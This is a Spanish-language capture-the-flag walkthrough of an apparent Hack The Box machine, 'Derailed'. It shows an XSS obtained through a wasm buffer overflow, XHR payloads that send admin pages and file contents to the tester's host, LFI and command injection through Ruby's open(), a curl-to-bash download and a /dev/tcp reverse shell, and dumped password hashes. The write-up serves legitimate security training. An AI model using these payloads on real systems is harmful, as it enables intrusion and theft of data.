Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.190 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-29 14:46 GMT
Nmap scan report for 10.10.11.190
Host is up (0.084s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 26.54 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,3000 10.10.11.190 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-29 14:47 GMT
Nmap scan report for 10.10.11.190
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 16:23:b0:9a:de:0e:34:92:cb:2b:18:17:0f:f2:7b:1a (RSA)
| 256 50:44:5e:88:6b:3e:4b:5b:f9:34:1d:ed:e5:2d:91:df (ECDSA)
|_ 256 0a:bd:92:23:df:44:02:6f:27:8d:a6:ab:b4:07:78:37 (ED25519)
3000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: derailed.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.21 seconds
Añado derailed.htb
al /etc/hosts
Puerto 3000 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.190:3000
http://10.10.11.190:3000 [200 OK] Bootstrap, Cookies[_simple_rails_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[_simple_rails_session], IP[10.10.11.190], Script, Title[derailed.htb], UncommonHeaders[x-content-type-options,x-download-options,x-permitted-cross-domain-policies,referrer-policy,link,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
La página principal se ve así:
En base a la cookie, se puede ver que se emplea Ruby on Rails
curl -s -X GET http://10.10.11.190:3000 -I | grep -i cookie
Set-Cookie: _simple_rails_session=fUWSHGvUSvW2RSwJAFOCXNWjmWpK8A05SHzuKnFOMP%2FpXgpsPuT0i93mMGT7IeN8r32SGhSfbLuuyYcBkj5fj6B7jCveVznDuzREKkaBqgSsh%2FG2hmEHo9zgejWBtX9Hw7XahWhLB2lQe54XLV3zdMnT1lH22XCokhdRyTxjeEpC6aCmZvvcKmbUQiGoB%2BpRWzLD%2BV43FENKKbqcqwAh%2B%2FlQh01azX%2B%2B%2Bd63oa9nVCQORBY6XEgkQSHbEY0hPO%2FkRPGmpGQ9%2BwELNy96s52D0dBZqNr3emqJZ6X0Txg%3D--0qTprfbZ6eZMnfSd--amcLKhIyL0hccT0SWkCQ8g%3D%3D; path=/; HttpOnly; SameSite=Lax
Puedo registrarme
Pruebo una inyección XSS en el texto de la nota, pero no se acontece. Aparece el nombre de usuario en la parte superior. Recargo la página y desde las herramientas de desarrolador, encuentro un archivo display.wasm
que llama la atención
Lo descargo para analizarlo, pero es un archivo compilado y no es legible
wget 10.10.11.190:3000/js/display.wasm
ile display.wasm
display.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)
Sin embargo, desde el Debbuger
del navegador, puedo verlo en texto claro. Introduzco un breakpoint en la función 2
Obtengo el valor dos variables en UTF-8
Hago el proceso inverso para ver el texto. Corresponde a la fecha y nombre de usuario
Al estarse definiendo un tamaño a la constante, es probable que se pueda producir un buffer overflow que permita la inyección de etiquetas HTML no deseadas. Con python creo una string de 128 caracteres para registrarme con ese nombre
python3 -c 'print("A"*128)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Es necesario interceptar la petición con BurpSuite
, de lo contrario lo acorta a 40
POST /register HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=YnHKcMXsu26st7cD2v68wHnFhuK3uSdxC8pe2kW7oSz0fCQmFHB0YTTfhM%2FWglD55W9BpUlZEkNHa9sDV4GbcYxJ6VSumN2Eh82XR24urQA8H4BBySQiuPyBJ4zd41b1SD3JCjuYn2fkvGbFbCrvxtCbIJ4HoXN0xkbNIjkwxhunJY9vFzCc1FIDgH9bjEJHBLzKC6ZOBsfLIp%2FPvdahgv8Q%2FARCo75xTmOTjz4PytOvEgm%2BgrweZU3SfvXOErhgTaAePV2aCMp28eMIEVfFup0%2FM6fgpIKjwgsdoWo%3D--WhDtlHwtK7IfEz56--kxjcdL0nNsSU5bEXikG83A%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=y9-xAsj9W0ZvETP7Pe93QN8xxxzfQn14eUbfIX6oGx-itaCGB-kkbibilRyXm4XN5hnr4MOYWZCrJ_OjVQZ8Zg&user%5Busername%5D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&user%5Bpassword%5D=test123&user%5Bpassword_confirmation%5D=test123
Al crear una nueva nota, aparece sobrescrita la sección de la fecha
El XSS no se acontecía en el nombre de usuario, pero puede que sí en la fecha. Creo un patrón para encontrar el offset
pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Me quedo con los 8 primeros bytes el cálculo
pattern_offset.rb -q Ab6A
[*] Exact match at offset 48
Creo un payload que muestre por pantalla un mensaje
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <img src=x onerror=alert('1');>
Se interpreta correctamente
Lo modifico para que cargue un recurso JS alojado en mi equipo
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <img src=x onerror=import('http://10.10.16.69/pwned.js');>
Recibo la petición en mi equipo
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.16.69 - - [29/Jul/2023 16:08:08] code 404, message File not found
10.10.16.69 - - [29/Jul/2023 16:08:08] "GET /pwned.js HTTP/1.1" 404 -
Pero al recargar la página, aparece una advertencia sobre el CORS
Es necesario añadir la cabecera Access-Control-Allow-Origin
. Creo un script en python para que al crear el servicio la asigne a todos los clientes
1
2
3
4
5
6
7
8
9
from http.server import SimpleHTTPRequestHandler, HTTPServer
class MyHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
server = HTTPServer(('0.0.0.0', 80), MyHandler)
server.serve_forever()
A modo de prueba, tramito una petición por GET al localhost y me aseguro que la cabecera está setteada
curl -s -X GET localhost -I
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.4
Date: Sat, 29 Jul 2023 16:17:40 GMT
Content-type: text/html; charset=utf-8
Content-Length: 408
Access-Control-Allow-Origin: *
Mediante fuzzing, encuentro la ruta /report
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt http://derailed.htb:3000/FUZZ/121
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://derailed.htb:3000/FUZZ/121
Total requests: 26584
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000103: 200 151 L 391 W 5561 Ch "report"
Comparto el enlace de mi nota y me llega la petición
10.10.11.190 - - [29/Jul/2023 16:27:04] code 404, message File not found
10.10.11.190 - - [29/Jul/2023 16:27:04] "GET /pwned.js HTTP/1.1" 404 -
No puedo obtener su cookie de sesión ya que el HttpOnly
está activado
Aplico fuzzing pero esta vez desde la raíz
gobuster dir -u http://derailed.htb:3000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://derailed.htb:3000/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/07/29 16:29:33 Starting gobuster in directory enumeration mode
===============================================================
/logout (Status: 302) [Size: 91] [--> http://derailed.htb:3000/]
/login (Status: 200) [Size: 5592]
/register (Status: 200) [Size: 5908]
/404 (Status: 200) [Size: 1722]
/administration (Status: 302) [Size: 96] [--> http://derailed.htb:3000/login]
/500 (Status: 200) [Size: 1635]
/422 (Status: 200) [Size: 1705]
===============================================================
2023/07/29 16:31:40 Finished
===============================================================
Puedo intentar derivar el XSS a un CSRF para así obtener el código fuente de /administration
1
2
3
4
5
6
7
8
var req1 = new XMLHttpRequest();
req1.open('GET', 'http://derailed.htb:3000/administration', false);
req1.withCredentials = true;
req1.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.69/?data=' + btoa(req1.responseText), false);
req2.send();
Recibo la data
python3 server.py
10.10.11.190 - - [29/Jul/2023 16:40:29] "GET /pwned.js HTTP/1.1" 200 -
10.10.11.190 - - [29/Jul/2023 16:40:30] "GET /?data=PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+ZGVyYWlsZWQuaHRiPC90aXRsZT4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSI+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iLz4KCiAgPG1ldGEgbmFtZT0iY3NyZi1wYXJhbSIgY29udGVudD0iYXV0aGVudGljaXR5X3Rva2VuIiAvPgo8bWV0YSBuYW1lPSJjc3JmLXRva2VuIiBjb250ZW50PSJXYWNzeC1ZNXFyckR6OFJjS25JU2NyRDR6SEJ5RlZ1Y2s5Vy10cldSd1JtRGhfeGJrLXZwbGFYUWoxcjlZSzRCTWRDdjhLV0JyT3BOYWZvNDRlQllfZyIgLz4KICAKCiAgPCEtLSBXYXJuaW5nICEhIGVuc3VyZSB0aGF0ICJzdHlsZXNoZWV0X3BhY2tfdGFnIiBpcyB1c2VkLCBsaW5lIGJlbG93IC0tPgogIAogIDxzY3JpcHQgc3JjPSIvcGFja3MvanMvYXBwbGljYXRpb24tMTM1YjVjZmEyZGY4MTdkMDhmMTQuanMiIGRhdGEtdHVyYm9saW5rcy10cmFjaz0icmVsb2FkIj48L3NjcmlwdD4KCiAgPGxpbmsgaHJlZj0iL2pzL3ZzL2VkaXRvci9lZGl0b3IubWFpbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIvPgogIDwhLS0gRmF2aWNvbi0tPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSIvYXNzZXRzL2Zhdmljb24uaWNvIi8+CiAgPCEtLSBGb250IEF3ZXNvbWUgaWNvbnMgKGZyZWUgdmVyc2lvbiktLT4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly91c2UuZm9udGF3ZXNvbWUuY29tL3JlbGVhc2VzL3Y2LjEuMC9qcy9hbGwuanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0PgogIDwhLS0gR29vZ2xlIGZvbnRzLS0+CiAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU1vbnRzZXJyYXQ6NDAwLDcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIvPgogIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1MYXRvOjQwMCw3MDAsNDAwaXRhbGljLDcwMGl0YWxpYyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIvPgogIDwhLS0gQ29yZSB0aGVtZSBDU1MgKGluY2x1ZGVzIEJvb3RzdHJhcCktLT4KICA8bGluayBocmVmPSIvY3NzL3N0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIvPgo8L2hlYWQ+Cjxib2R5IGlkPSJwYWdlLXRvcCI+CjwhLS0gTmF2aWdhdGlvbi0tPgo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBiZy1zZWNvbmRhcnkgdGV4dC11cHBlcmNhc2UgZml4ZWQtdG9wIiBpZD0ibWFpbk5hdiI+CiAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgIDxhIGNsYXNzPSJuYXZiYXItYnJhbmQiIGhyZWY9Ii8iPkNMSVBOT1RFUzwvYT4KICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIHRleHQtdXBwZXJjYXNlIGZvbnQtd2VpZ2h0LWJvbGQgYmctcHJpbWFyeSB0ZXh0LXdoaXRlIHJvdW5kZWQiIHR5cGU9ImJ1dHRvbiIgZGF0YS1icy10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLWJzLXRhcmdldD0iI25hdmJhclJlc3BvbnNpdmUiIGFyaWEtY29udHJvbHM9Im5hdmJhclJlc3BvbnNpdmUiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWxhYmVsPSJUb2dnbGUgbmF2aWdhdGlvbiI+CiAgICAgIE1lbnUKICAgICAgPGkgY2xhc3M9ImZhcyBmYS1iYXJzIj48L2k+CiAgICA8L2J1dHRvbj4KICAgIDxkaXYgY2xhc3M9ImNvbGxhcHNlIG5hdmJhci1jb2xsYXBzZSIgaWQ9Im5hdmJhclJlc3BvbnNpdmUiPgogICAgICA8dWwgY2xhc3M9Im5hdmJhci1uYXYgbXMtYXV0byI+CgoKCiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0gbXgtMCBteC1sZy0xIj4KICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2LWxpbmsgcHktMyBweC0wIHB4LWxnLTMgcm91bmRlZCIgaHJlZj0iL2FkbWluaXN0cmF0aW9uIj5BZG1pbmlzdHJhdGlvbjwvYT4KICAgICAgICAgICAgPC9saT4KCgogICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBteC0wIG14LWxnLTEiPgogICAgICAgICAgICA8YSBjbGFzcz0ibmF2LWxpbmsgcHktMyBweC0wIHB4LWxnLTMgcm91bmRlZCIgaHJlZj0iL2xvZ291dCI+TG9nb3V0PC9hPgogICAgICAgICAgPC9saT4KCgogICAgICA8L3VsPgogICAgPC9kaXY+CiAgPC9kaXY+CjwvbmF2PgoKPGhlYWRlciBjbGFzcz0ibWFzdGhlYWQiPgoKICAKCgogIDxzdHlsZT4KICAgICAgYnV0dG9uIHsKICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsKICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgIHBhZGRpbmc6IDAgIWltcG9ydGFudDsKICAgICAgICAgIGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsKICAgICAgICAgIGNvbG9yOiAjMDY5OwogICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7CiAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICBtYXJnaW4tbGVmdDogMzBweDsKICAgICAgfQogIDwvc3R5bGU+CgoKICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoKICAgIDxoMz5SZXBvcnRzPC9oMz4KCgoKCiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIvYWRtaW5pc3RyYXRpb24vcmVwb3J0cyI+CgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImF1dGhlbnRpY2l0eV90b2tlbiIgaWQ9ImF1dGhlbnRpY2l0eV90b2tlbiIgdmFsdWU9Ik9rWUw0cUFienZuWDE3SnlUSTN4M01xODVtRUZhVG9UV3BiSHV2S2s0M1BnWnR0LTFjbU4xckhJLVhTYm4wMnZTNVNGNGRMOXpXV0VLb00wcHRWNmxBIiBhdXRvY29tcGxldGU9Im9mZiIgLz4KCiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InJlcG9ydF9sb2ciIHZhbHVlPSJyZXBvcnRfMjlfMDdfMjAyMy5sb2ciIGhpZGRlbj4KCiAgICAgICAgPGxhYmVsIGNsYXNzPSJwdC00Ij4gMjkuMDcuMjAyMzwvbGFiZWw+CgogICAgICAgIDxidXR0b24gbmFtZT0iYnV0dG9uIiB0eXBlPSJzdWJtaXQiPgogICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1kb3dubG9hZCBtZS0yIj48L2k+CiAgICAgICAgICBEb3dubG9hZAogICAgICAgIDwvYnV0dG9uPgoKCiAgICAgIDwvZm9ybT4KCgoKCgoKICA8L2Rpdj4KCjwvaGVhZGVyPgoKCjwhLS0gRm9vdGVyLS0+Cjxmb290ZXIgY2xhc3M9ImZvb3RlciB0ZXh0LWNlbnRlciI+CiAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgIDwhLS0gRm9vdGVyIExvY2F0aW9uLS0+CiAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy00IG1iLTUgbWItbGctMCI+CiAgICAgICAgPGg0IGNsYXNzPSJ0ZXh0LXVwcGVyY2FzZSBtYi00Ij5Mb2NhdGlvbjwvaDQ+CiAgICAgICAgPHAgY2xhc3M9ImxlYWQgbWItMCI+CiAgICAgICAgICAyMjE1IEpvaG4gRGFuaWVsIERyaXZlCiAgICAgICAgICA8YnIvPgogICAgICAgICAgQ2xhcmssIE1PIDY1MjQzCiAgICAgICAgPC9wPgogICAgICA8L2Rpdj4KICAgICAgPCEtLSBGb290ZXIgU29jaWFsIEljb25zLS0+CiAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy00IG1iLTUgbWItbGctMCI+CiAgICAgICAgPGg0IGNsYXNzPSJ0ZXh0LXVwcGVyY2FzZSBtYi00Ij48YSBocmVmPSJodHRwOi8vZGVyYWlsZWQuaHRiIj5kZXJhaWxlZC5odGI8L2E+PC9oND4KICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zb2NpYWwgbXgtMSIgaHJlZj0iIyEiPjxpIGNsYXNzPSJmYWIgZmEtZncgZmEtZmFjZWJvb2stZiI+PC9pPjwvYT4KICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zb2NpYWwgbXgtMSIgaHJlZj0iIyEiPjxpIGNsYXNzPSJmYWIgZmEtZncgZmEtdHdpdHRlciI+PC9pPjwvYT4KICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zb2NpYWwgbXgtMSIgaHJlZj0iIyEiPjxpIGNsYXNzPSJmYWIgZmEtZncgZmEtbGlua2VkaW4taW4iPjwvaT48L2E+CiAgICAgICAgPGEgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc29jaWFsIG14LTEiIGhyZWY9IiMhIj48aSBjbGFzcz0iZmFiIGZhLWZ3IGZhLWRyaWJiYmxlIj48L2k+PC9hPgogICAgICA8L2Rpdj4KICAgICAgPCEtLSBGb290ZXIgQWJvdXQgVGV4dC0tPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctNCI+CiAgICAgICAgPGg0IGNsYXNzPSJ0ZXh0LXVwcGVyY2FzZSBtYi00Ij5BYm91dCBkZXJhaWxlZC5odGI8L2g0PgogICAgICAgIDxwIGNsYXNzPSJsZWFkIG1iLTAiPgogICAgICAgICAgZGVyYWlsZWQuaHRiIGlzIGEgZnJlZSB0byB1c2Ugc2VydmljZSwgd2hpY2ggYWxsb3dzIHVzZXJzIHRvIGNyZWF0ZSBub3RlcyB3aXRoaW4gYSBmZXcgc2Vjb25kcy4KICAgICAgICA8L3A+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvZm9vdGVyPgo8IS0tIENvcHlyaWdodCBTZWN0aW9uLS0+CjxkaXYgY2xhc3M9ImNvcHlyaWdodCBweS00IHRleHQtY2VudGVyIHRleHQtd2hpdGUiPgogIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PHNtYWxsPkNvcHlyaWdodCAmY29weTsgZGVyYWlsZWQuaHRiIDIwMjI8L3NtYWxsPjwvZGl2Pgo8L2Rpdj4KCjwhLS0gQm9vdHN0cmFwIGNvcmUgSlMtLT4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMS4zL2Rpc3QvanMvYm9vdHN0cmFwLmJ1bmRsZS5taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2pzL3NjcmlwdHMuanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uc3RhcnRib290c3RyYXAuY29tL3NiLWZvcm1zLWxhdGVzdC5qcyI+PC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPgo= HTTP/1.1" 200 -
La introduzco en un archivo administration.html
haciendole el decode para abrilo desde el navegador
Se puede ver un botón de descarga para un reporte. Esto tramita una petición por POST para descargar un archivo LOG. Se utiliza un token para validar la autenticidad de la sesión
Es vulnerable a LFI, puedo leer archivos internos como el /etc/hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const req1 = new XMLHttpRequest();
const url1 = 'http://derailed.htb:3000/administration';
req1.onreadystatechange = function() {
if (req1.readyState === 4 && req1.status === 200) {
const html = req1.responseText;
const page = new DOMParser().parseFromString(html, 'text/html');
const token = page.getElementById('authenticity_token').value;
const req2 = new XMLHttpRequest();
const url2 = 'http://derailed.htb:3000/administration/reports';
const params = 'authenticity_token=' + encodeURIComponent(token) + '&report_log=/etc/hosts';
req2.onreadystatechange = function() {
if (req2.readyState === 4 && req2.status === 200) {
const responseHtml = req2.responseText;
const req3 = new XMLHttpRequest();
const url3 = 'http://10.10.16.69:9001/';
req3.onreadystatechange = function() {
if (req3.readyState === 4 && req3.status === 200) {
}
};
req3.open('POST', url3, true);
req3.send(responseHtml);
}
};
req2.open('POST', url2, true);
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(params);
}
};
req1.open('GET', url1, true);
req1.send();
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.69] from (UNKNOWN) [10.10.11.190] 47272
POST / HTTP/1.1
Host: 10.10.16.69:9001
Connection: keep-alive
Content-Length: 52
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://derailed.htb:3000
Referer: http://derailed.htb:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
127.0.0.1 localhost
127.0.0.1 derailed derailed.htb
En este artículo configuran los archivos de administración de Ruby on Rails
. Uno de ellos, admin_controller.db
puede servirme para ver como está estructurado el servicio. Como desconozco la ruta donde está instalado, utilizo /proc/self/cwd
que corresponde a la ruta del directorio actual de trabajo, por lo que la ruta final sería /proc/self/cwd/app/controllers/admin_controller.rb
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.69] from (UNKNOWN) [10.10.11.190] 42202
POST / HTTP/1.1
Host: 10.10.16.69:9001
Connection: keep-alive
Content-Length: 752
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://derailed.htb:3000
Referer: http://derailed.htb:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
class AdminController < ApplicationController
def index
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
@report_file = helpers.get_report_file()
@files = Dir.glob("report*log")
p @files
end
def create
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
report_log = params[:report_log]
begin
file = open(report_log)
@content = ""
while line = file.gets
@content += line
end
send_data @content, :filename => File.basename(report_log)
rescue
redirect_to request.referrer, flash: { error: "The report was not found." }
end
end
end
Se está empleando la función open
para abrir el archivo. Al no estar sanitizada es vulnerable a RCE. Para saber como funciona, lee este artículo. El payload sería el siguiente:
&report_log=|curl 10.10.16.69|bash
Previamente he creado un archivo index.html
que se encarga de enviarme una reverse shell
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.69/443 0>&1'
Gano acceso al sistema como el usuario rails
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.69] from (UNKNOWN) [10.10.11.190] 43524
bash: cannot set terminal process group (805): Inappropriate ioctl for device
bash: no job control in this shell
rails@derailed:/var/www/rails-app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rails@derailed:/var/www/rails-app$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
rails@derailed:/var/www/rails-app$ export TERM=xterm-color
rails@derailed:/var/www/rails-app$ stty rows 55 columns 209
rails@derailed:/var/www/rails-app$ source ~/.bashrc
Puedo ver la primera flag
rails@derailed:~$ cat user.txt
bdd2eed157d98dd010c8856aa5df0d34
Escalada
El directorio /var/www/rails-app
es un repositorio GIT
rails@derailed:/var/www/rails-app$ ls -la | grep git
drwxrwxr-x 8 rails rails 4096 Nov 4 2022 .git
-rw-rw-r-- 1 rails rails 327 May 25 2022 .gitattributes
-rw-rw-r-- 1 rails rails 840 May 25 2022 .gitignore
Tiene varios commit
rails@derailed:/var/www/rails-app$ git log
commit 5ef649cc9b81893b070c607bdca5e6ed4370b914 (HEAD -> master)
Author: gituser <gituser@local>
Date: Sat May 28 15:01:14 2022 +0200
init
commit 61995bf40dcb332b8979adc32152d73e5546e40c
Author: gituser <gituser@local>
Date: Fri May 27 21:06:07 2022 +0200
init
commit 15df0becc4d8fc989bda8c154637d183258d3af0
Author: gituser <gituser@local>
Date: Thu May 19 21:41:04 2022 +0200
init
En uno de ellos, se exponen hashes y usuarios
rails@derailed:/var/www/rails-app$ git checkout
rails@derailed:/var/www/rails-app$ ls
app bin config.ru Gemfile lib node_modules postcss.config.js Rakefile report_29_07_2023.log startbootstrap-freelancer-gh-pages storage tmp yarn.lock
babel.config.js config db Gemfile.lock log package.json public README.md screenshot.png startbootstrap-freelancer-gh-pages.zip test vendor
rails@derailed:/var/www/rails-app$ cd db/
rails@derailed:/var/www/rails-app/db$ ls
development.sqlite3 migrate schema.rb seeds.rb
rails@derailed:/var/www/rails-app/db$ cat seeds.rb
User.create(username: "alice", password: "recliner-bellyaching-bungling-continuum-gonging-laryngitis", role: "administrator")
Note.create(content: "example content", author: "alice")
De la base de datos puedo extraer dos hashes
rails@derailed:/var/www/rails-app/db$ sqlite3 development.sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata reports users
notes schema_migrations
sqlite> .headers on
sqlite> select * from users;
id|username|password_digest|role|created_at|updated_at
1|alice|$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/Grwie/4z95W3BhoFqpQRKIAxI7.|administrator|2022-05-30 18:02:45.319074|2022-05-30 18:02:45.319074
2|toby|$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle|user|2022-05-30 18:02:45.542476|2022-05-30 18:02:45.542476
